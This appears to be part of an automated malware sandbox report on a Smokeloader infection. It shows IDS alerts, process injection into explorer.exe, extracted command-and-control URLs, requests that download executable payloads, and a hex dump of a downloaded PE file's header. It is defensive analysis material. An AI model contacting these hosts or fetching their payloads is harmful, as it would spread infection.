Source: C:\Windows\SysWOW64\cmd.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Windows\
Source: C:\Windows\SysWOW64\cmd.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\
Source: C:\Windows\SysWOW64\cmd.exe	File opened: C:\Users\user\AppData\
Source: C:\Windows\SysWOW64\cmd.exe	File opened: C:\Users\user\

Software Vulnerabilities

Suspicious execution chain found

Source: C:\Windows\System32\wscript.exe

Child: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2039103 - Severity 1 - ET MALWARE Suspected Smokeloader Activity (POST) : 192.168.2.4:49740 -> 58.151.148.90:80
Source: Network traffic	Suricata IDS: 2039103 - Severity 1 - ET MALWARE Suspected Smokeloader Activity (POST) : 192.168.2.4:49753 -> 58.151.148.90:80
Source: Network traffic	Suricata IDS: 2039103 - Severity 1 - ET MALWARE Suspected Smokeloader Activity (POST) : 192.168.2.4:49750 -> 58.151.148.90:80
Source: Network traffic	Suricata IDS: 2039103 - Severity 1 - ET MALWARE Suspected Smokeloader Activity (POST) : 192.168.2.4:49748 -> 58.151.148.90:80
Source: Network traffic	Suricata IDS: 2039103 - Severity 1 - ET MALWARE Suspected Smokeloader Activity (POST) : 192.168.2.4:49754 -> 58.151.148.90:80
Source: Network traffic	Suricata IDS: 2039103 - Severity 1 - ET MALWARE Suspected Smokeloader Activity (POST) : 192.168.2.4:49745 -> 58.151.148.90:80
Source: Network traffic	Suricata IDS: 2039103 - Severity 1 - ET MALWARE Suspected Smokeloader Activity (POST) : 192.168.2.4:49739 -> 58.151.148.90:80
Source: Network traffic	Suricata IDS: 2039103 - Severity 1 - ET MALWARE Suspected Smokeloader Activity (POST) : 192.168.2.4:49744 -> 58.151.148.90:80
Source: Network traffic	Suricata IDS: 2039103 - Severity 1 - ET MALWARE Suspected Smokeloader Activity (POST) : 192.168.2.4:49738 -> 58.151.148.90:80
Source: Network traffic	Suricata IDS: 2039103 - Severity 1 - ET MALWARE Suspected Smokeloader Activity (POST) : 192.168.2.4:49749 -> 58.151.148.90:80
Source: Network traffic	Suricata IDS: 2039103 - Severity 1 - ET MALWARE Suspected Smokeloader Activity (POST) : 192.168.2.4:49751 -> 58.151.148.90:80
Source: Network traffic	Suricata IDS: 2039103 - Severity 1 - ET MALWARE Suspected Smokeloader Activity (POST) : 192.168.2.4:49747 -> 58.151.148.90:80
Source: Network traffic	Suricata IDS: 2039103 - Severity 1 - ET MALWARE Suspected Smokeloader Activity (POST) : 192.168.2.4:49737 -> 58.151.148.90:80
Source: Network traffic	Suricata IDS: 2039103 - Severity 1 - ET MALWARE Suspected Smokeloader Activity (POST) : 192.168.2.4:49746 -> 58.151.148.90:80
Source: Network traffic	Suricata IDS: 2039103 - Severity 1 - ET MALWARE Suspected Smokeloader Activity (POST) : 192.168.2.4:49736 -> 58.151.148.90:80
Source: Network traffic	Suricata IDS: 2039103 - Severity 1 - ET MALWARE Suspected Smokeloader Activity (POST) : 192.168.2.4:49758 -> 58.151.148.90:80
Source: Network traffic	Suricata IDS: 2039103 - Severity 1 - ET MALWARE Suspected Smokeloader Activity (POST) : 192.168.2.4:49743 -> 58.151.148.90:80
Source: Network traffic	Suricata IDS: 2039103 - Severity 1 - ET MALWARE Suspected Smokeloader Activity (POST) : 192.168.2.4:49755 -> 58.151.148.90:80
Source: Network traffic	Suricata IDS: 2039103 - Severity 1 - ET MALWARE Suspected Smokeloader Activity (POST) : 192.168.2.4:49742 -> 58.151.148.90:80
Source: Network traffic	Suricata IDS: 2039103 - Severity 1 - ET MALWARE Suspected Smokeloader Activity (POST) : 192.168.2.4:49757 -> 58.151.148.90:80
Source: Network traffic	Suricata IDS: 2039103 - Severity 1 - ET MALWARE Suspected Smokeloader Activity (POST) : 192.168.2.4:49841 -> 58.151.148.90:80
Source: Network traffic	Suricata IDS: 2039103 - Severity 1 - ET MALWARE Suspected Smokeloader Activity (POST) : 192.168.2.4:49869 -> 58.151.148.90:80
Source: Network traffic	Suricata IDS: 2039103 - Severity 1 - ET MALWARE Suspected Smokeloader Activity (POST) : 192.168.2.4:49859 -> 58.151.148.90:80
Source: Network traffic	Suricata IDS: 2039103 - Severity 1 - ET MALWARE Suspected Smokeloader Activity (POST) : 192.168.2.4:49891 -> 58.151.148.90:80
Source: Network traffic	Suricata IDS: 2039103 - Severity 1 - ET MALWARE Suspected Smokeloader Activity (POST) : 192.168.2.4:49752 -> 58.151.148.90:80
Source: Network traffic	Suricata IDS: 2039103 - Severity 1 - ET MALWARE Suspected Smokeloader Activity (POST) : 192.168.2.4:49901 -> 58.151.148.90:80
Source: Network traffic	Suricata IDS: 2039103 - Severity 1 - ET MALWARE Suspected Smokeloader Activity (POST) : 192.168.2.4:49912 -> 58.151.148.90:80
Source: Network traffic	Suricata IDS: 2039103 - Severity 1 - ET MALWARE Suspected Smokeloader Activity (POST) : 192.168.2.4:49741 -> 58.151.148.90:80
Source: Network traffic	Suricata IDS: 2039103 - Severity 1 - ET MALWARE Suspected Smokeloader Activity (POST) : 192.168.2.4:49923 -> 58.151.148.90:80
Source: Network traffic	Suricata IDS: 2039103 - Severity 1 - ET MALWARE Suspected Smokeloader Activity (POST) : 192.168.2.4:49849 -> 58.151.148.90:80
Source: Network traffic	Suricata IDS: 2039103 - Severity 1 - ET MALWARE Suspected Smokeloader Activity (POST) : 192.168.2.4:49931 -> 58.151.148.90:80
Source: Network traffic	Suricata IDS: 2039103 - Severity 1 - ET MALWARE Suspected Smokeloader Activity (POST) : 192.168.2.4:49941 -> 58.151.148.90:80
Source: Network traffic	Suricata IDS: 2039103 - Severity 1 - ET MALWARE Suspected Smokeloader Activity (POST) : 192.168.2.4:49880 -> 58.151.148.90:80
Source: Network traffic	Suricata IDS: 2039103 - Severity 1 - ET MALWARE Suspected Smokeloader Activity (POST) : 192.168.2.4:49951 -> 58.151.148.90:80
Source: Network traffic	Suricata IDS: 2039103 - Severity 1 - ET MALWARE Suspected Smokeloader Activity (POST) : 192.168.2.4:50042 -> 58.151.148.90:80
Source: Network traffic	Suricata IDS: 2039103 - Severity 1 - ET MALWARE Suspected Smokeloader Activity (POST) : 192.168.2.4:50047 -> 58.151.148.90:80
Source: Network traffic	Suricata IDS: 2039103 - Severity 1 - ET MALWARE Suspected Smokeloader Activity (POST) : 192.168.2.4:50043 -> 58.151.148.90:80
Source: Network traffic	Suricata IDS: 2039103 - Severity 1 - ET MALWARE Suspected Smokeloader Activity (POST) : 192.168.2.4:50046 -> 58.151.148.90:80
Source: Network traffic	Suricata IDS: 2039103 - Severity 1 - ET MALWARE Suspected Smokeloader Activity (POST) : 192.168.2.4:50049 -> 58.151.148.90:80
Source: Network traffic	Suricata IDS: 2039103 - Severity 1 - ET MALWARE Suspected Smokeloader Activity (POST) : 192.168.2.4:50048 -> 58.151.148.90:80
Source: Network traffic	Suricata IDS: 2039103 - Severity 1 - ET MALWARE Suspected Smokeloader Activity (POST) : 192.168.2.4:50044 -> 58.151.148.90:80
Source: Network traffic	Suricata IDS: 2039103 - Severity 1 - ET MALWARE Suspected Smokeloader Activity (POST) : 192.168.2.4:50045 -> 58.151.148.90:80
Source: Network traffic	Suricata IDS: 2039103 - Severity 1 - ET MALWARE Suspected Smokeloader Activity (POST) : 192.168.2.4:50041 -> 58.151.148.90:80
Source: Network traffic	Suricata IDS: 2039103 - Severity 1 - ET MALWARE Suspected Smokeloader Activity (POST) : 192.168.2.4:50040 -> 58.151.148.90:80
Source: Network traffic	Suricata IDS: 2039103 - Severity 1 - ET MALWARE Suspected Smokeloader Activity (POST) : 192.168.2.4:50053 -> 58.151.148.90:80
Source: Network traffic	Suricata IDS: 2039103 - Severity 1 - ET MALWARE Suspected Smokeloader Activity (POST) : 192.168.2.4:50052 -> 58.151.148.90:80
Source: Network traffic	Suricata IDS: 2039103 - Severity 1 - ET MALWARE Suspected Smokeloader Activity (POST) : 192.168.2.4:50051 -> 58.151.148.90:80
Source: Network traffic	Suricata IDS: 2039103 - Severity 1 - ET MALWARE Suspected Smokeloader Activity (POST) : 192.168.2.4:50054 -> 58.151.148.90:80
Source: Network traffic	Suricata IDS: 2039103 - Severity 1 - ET MALWARE Suspected Smokeloader Activity (POST) : 192.168.2.4:50062 -> 58.151.148.90:80
Source: Network traffic	Suricata IDS: 2039103 - Severity 1 - ET MALWARE Suspected Smokeloader Activity (POST) : 192.168.2.4:50056 -> 58.151.148.90:80
Source: Network traffic	Suricata IDS: 2039103 - Severity 1 - ET MALWARE Suspected Smokeloader Activity (POST) : 192.168.2.4:50059 -> 58.151.148.90:80
Source: Network traffic	Suricata IDS: 2039103 - Severity 1 - ET MALWARE Suspected Smokeloader Activity (POST) : 192.168.2.4:50055 -> 58.151.148.90:80
Source: Network traffic	Suricata IDS: 2039103 - Severity 1 - ET MALWARE Suspected Smokeloader Activity (POST) : 192.168.2.4:50060 -> 58.151.148.90:80
Source: Network traffic	Suricata IDS: 2039103 - Severity 1 - ET MALWARE Suspected Smokeloader Activity (POST) : 192.168.2.4:50057 -> 58.151.148.90:80
Source: Network traffic	Suricata IDS: 2039103 - Severity 1 - ET MALWARE Suspected Smokeloader Activity (POST) : 192.168.2.4:50065 -> 58.151.148.90:80
Source: Network traffic	Suricata IDS: 2039103 - Severity 1 - ET MALWARE Suspected Smokeloader Activity (POST) : 192.168.2.4:50063 -> 58.151.148.90:80
Source: Network traffic	Suricata IDS: 2039103 - Severity 1 - ET MALWARE Suspected Smokeloader Activity (POST) : 192.168.2.4:50068 -> 58.151.148.90:80
Source: Network traffic	Suricata IDS: 2039103 - Severity 1 - ET MALWARE Suspected Smokeloader Activity (POST) : 192.168.2.4:50070 -> 58.151.148.90:80
Source: Network traffic	Suricata IDS: 2039103 - Severity 1 - ET MALWARE Suspected Smokeloader Activity (POST) : 192.168.2.4:50058 -> 58.151.148.90:80
Source: Network traffic	Suricata IDS: 2039103 - Severity 1 - ET MALWARE Suspected Smokeloader Activity (POST) : 192.168.2.4:50069 -> 58.151.148.90:80
Source: Network traffic	Suricata IDS: 2039103 - Severity 1 - ET MALWARE Suspected Smokeloader Activity (POST) : 192.168.2.4:50061 -> 58.151.148.90:80
Source: Network traffic	Suricata IDS: 2039103 - Severity 1 - ET MALWARE Suspected Smokeloader Activity (POST) : 192.168.2.4:50066 -> 58.151.148.90:80
Source: Network traffic	Suricata IDS: 2039103 - Severity 1 - ET MALWARE Suspected Smokeloader Activity (POST) : 192.168.2.4:50074 -> 58.151.148.90:80
Source: Network traffic	Suricata IDS: 2039103 - Severity 1 - ET MALWARE Suspected Smokeloader Activity (POST) : 192.168.2.4:50072 -> 58.151.148.90:80
Source: Network traffic	Suricata IDS: 2039103 - Severity 1 - ET MALWARE Suspected Smokeloader Activity (POST) : 192.168.2.4:50075 -> 58.151.148.90:80
Source: Network traffic	Suricata IDS: 2039103 - Severity 1 - ET MALWARE Suspected Smokeloader Activity (POST) : 192.168.2.4:50079 -> 58.151.148.90:80

System process connects to network (likely due to code injection or exploit)

Source: C:\Windows\explorer.exe	Network Connect: 58.151.148.90 80	Jump to behavior
Source: C:\Windows\explorer.exe	Network Connect: 45.118.248.184 443	Jump to behavior
Source: C:\Windows\explorer.exe	Network Connect: 192.185.146.136 443	Jump to behavior
Source: C:\Windows\explorer.exe	Network Connect: 51.79.230.147 443	Jump to behavior
Source: C:\Windows\explorer.exe	Network Connect: 23.145.40.181 443	Jump to behavior
Source: C:\Windows\explorer.exe	Network Connect: 101.99.94.162 80	Jump to behavior

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor	URLs: http://d-s-p.ru/tmp/index.php
Source: Malware configuration extractor	URLs: http://volisolsa.com.ua/tmp/index.php
Source: Malware configuration extractor	URLs: http://wga2s.cc/tmp/index.php
Source: Malware configuration extractor	URLs: http://worldofmorgan.com/tmp/index.php

Uses dynamic DNS services

Source: unknown

DNS query: name: webdot.ddns.net

Source: global traffic

TCP traffic: 192.168.2.4:50073 -> 87.120.115.216:8080

Source: global traffic

HTTP traffic detected: HTTP/1.1 200 OKDate: Mon, 30 Dec 2024 18:45:47 GMTServer: ApacheLast-Modified: Sun, 29 Dec 2024 18:09:14 GMTETag: "11b517-62a6c97ed2680"Accept-Ranges: bytesContent-Length: 1160471Keep-Alive: timeout=5, max=100Connection: Keep-AliveContent-Type: application/x-msdos-programData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 d0 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 41 7b d1 6b 05 1a bf 38 05 1a bf 38 05 1a bf 38 0c 62 3c 38 06 1a bf 38 0c 62 2c 38 14 1a bf 38 05 1a be 38 a9 1a bf 38 1e 87 15 38 09 1a bf 38 1e 87 25 38 04 1a bf 38 1e 87 22 38 04 1a bf 38 52 69 63 68 05 1a bf 38 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 58 7c 80 4e 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0a 00 00 6e 00 00 00 8e 07 00 00 42 00 00 83 38 00 00 00 10 00 00 00 80 00 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 00 00 06 00 00 00 05 00 00 00 00 00 00 00 00 20 10 00 00 04 00 00 c4 7c 12 00 02 00 40 85 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 34 9b 00 00 b4 00 00 00 00 40 0f 00 ce c8 00 00 00 00 00 00 00 00 00 00 f7 8c 11 00 20 28 00 00 00 a0 07 00 64 09 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 d0 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 ae 6d 00 00 00 10 00 00 00 6e 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 62 2a 00 00 00 80 00 00 00 2c 00 00 00 72 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 bc 7e 06 00 00 b0 00 00 00 02 00 00 00 9e 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 6e 64 61 74 61 00 00 00 10 08 00 00 30 07 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 c0 2e 72 73 72 63 00 00 00 ce c8 00 00 00 40 0f 00 00 ca 00 00 00 a0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 32 0f 00 00 00 10 10 00 00 10 00 00 00 72 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0

Source: global traffic	HTTP traffic detected: GET /plugins/panel/uploads/Mwczjtflz.mp4 HTTP/1.1Host: lotuseffectllc.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /plugins/panel/uploads/Mwczjtflz.mp4 HTTP/1.1Host: lotuseffectllc.comConnection: Keep-Alive

Source: Joe Sandbox View

IP Address: 58.151.148.90 58.151.148.90

Source: Joe Sandbox View	ASN Name: OVHFR OVHFR
Source: Joe Sandbox View	ASN Name: POWERVIS-AS-KRLGPOWERCOMMKR POWERVIS-AS-KRLGPOWERCOMMKR
Source: Joe Sandbox View	ASN Name: ITACE-AS-APItaceInternationalLimitedHK ITACE-AS-APItaceInternationalLimitedHK

Source: Joe Sandbox View	JA3 fingerprint: 3b5074b1b5d032e5620f69f9f700ff0e
Source: Joe Sandbox View	JA3 fingerprint: a0e9f5d64349fb13191bc781f81f42e1

Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49760 -> 23.145.40.181:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:50050 -> 51.79.230.147:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49962 -> 23.145.40.181:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:50064 -> 192.185.146.136:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:50076 -> 45.118.248.184:443

Source: global traffic	HTTP traffic detected: GET /wp-content/images/pic4.jpg HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoHost: www.tazc.com.my
Source: global traffic	HTTP traffic detected: GET /Vmujqcxm.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoHost: upadaria.org
Source: global traffic	HTTP traffic detected: GET /Birge.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoHost: firemane.org
Source: global traffic	HTTP traffic detected: POST /tmp/index.php HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://cjwipwxdaicmvf.net/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 311Host: d-s-p.ru
Source: global traffic	HTTP traffic detected: POST /tmp/index.php HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://syotscpmruqadjb.net/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 248Host: d-s-p.ru
Source: global traffic	HTTP traffic detected: POST /tmp/index.php HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://ixkqycfpabx.org/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 129Host: d-s-p.ru
Source: global traffic	HTTP traffic detected: POST /tmp/index.php HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://npglxuptseuhsgp.org/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 325Host: d-s-p.ru
Source: global traffic	HTTP traffic detected: POST /tmp/index.php HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://bqeerlntfui.org/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 129Host: d-s-p.ru
Source: global traffic	HTTP traffic detected: POST /tmp/index.php HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://uunijchpjmgfo.org/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 174Host: d-s-p.ru
Source: global traffic	HTTP traffic detected: POST /tmp/index.php HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://fsblnagupakjnja.org/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 219Host: d-s-p.ru
Source: global traffic	HTTP traffic detected: POST /tmp/index.php HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://urvsasyqvqgwxp.org/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 142Host: d-s-p.ru
Source: global traffic	HTTP traffic detected: POST /tmp/index.php HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://duabtcnoqxwepta.org/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 193Host: d-s-p.ru
Source: global traffic	HTTP traffic detected: POST /tmp/index.php HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://ilgayipokchjnwi.org/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 133Host: d-s-p.ru
Source: global traffic	HTTP traffic detected: POST /tmp/index.php HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://jifjhlrdcghs.net/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 338Host: d-s-p.ru
Source: global traffic	HTTP traffic detected: POST /tmp/index.php HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://yawtrsbxaqno.net/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 149Host: d-s-p.ru
Source: global traffic	HTTP traffic detected: POST /tmp/index.php HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://askrbnixhwd.net/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 121Host: d-s-p.ru
Source: global traffic	HTTP traffic detected: POST /tmp/index.php HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://bmvgxhhwuegchsnk.com/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 360Host: d-s-p.ru
Source: global traffic	HTTP traffic detected: POST /tmp/index.php HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://fumgmeseepesr.com/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 215Host: d-s-p.ru
Source: global traffic	HTTP traffic detected: POST /tmp/index.php HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://kjsrpmbmjduiwv.net/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 129Host: d-s-p.ru
Source: global traffic	HTTP traffic detected: POST /tmp/index.php HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://ksvvejaqmamsa.net/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 141Host: d-s-p.ru
Source: global traffic	HTTP traffic detected: POST /tmp/index.php HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://vtfnihcjaxwmos.com/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 248Host: d-s-p.ru
Source: global traffic	HTTP traffic detected: POST /tmp/index.php HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://amrgqqtkvbsuyfiq.com/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 273Host: d-s-p.ru
Source: global traffic	HTTP traffic detected: POST /tmp/index.php HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://htevegfcswyxd.net/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 227Host: d-s-p.ru
Source: global traffic	HTTP traffic detected: POST /tmp/index.php HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://hxhrbhxaiegx.com/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 238Host: d-s-p.ru
Source: global traffic	HTTP traffic detected: POST /tmp/index.php HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://nysccihvdkds.net/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 251Host: d-s-p.ru
Source: global traffic	HTTP traffic detected: POST /tmp/index.php HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://grgynsvjunbdyj.org/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 147Host: d-s-p.ru
Source: global traffic	HTTP traffic detected: POST /tmp/index.php HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://rkeqfvulevu.org/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 333Host: d-s-p.ru
Source: global traffic	HTTP traffic detected: POST /tmp/index.php HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://paiaccswdvwaulm.net/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 193Host: d-s-p.ru
Source: global traffic	HTTP traffic detected: POST /tmp/index.php HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://ecpopbfcnylhn.net/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 124Host: d-s-p.ru
Source: global traffic	HTTP traffic detected: POST /tmp/index.php HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://wgfecinevmagrs.net/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 131Host: d-s-p.ru
Source: global traffic	HTTP traffic detected: POST /tmp/index.php HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://wgggkliaxflrlukv.org/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 339Host: d-s-p.ru
Source: global traffic	HTTP traffic detected: POST /tmp/index.php HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://abtqqggxsfhktnpg.com/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 333Host: d-s-p.ru
Source: global traffic	HTTP traffic detected: POST /tmp/index.php HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://wluclgmelcx.net/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 345Host: d-s-p.ru
Source: global traffic	HTTP traffic detected: POST /tmp/index.php HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://cskorkkrkwytkhtu.org/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 204Host: d-s-p.ru
Source: global traffic	HTTP traffic detected: POST /tmp/index.php HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://fghaoijaskpcuqs.org/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 186Host: d-s-p.ru
Source: global traffic	HTTP traffic detected: POST /tmp/index.php HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://ufwlknyimcdyhhff.net/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 320Host: d-s-p.ru
Source: global traffic	HTTP traffic detected: POST /tmp/index.php HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://jessdujhjjx.com/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 142Host: d-s-p.ru
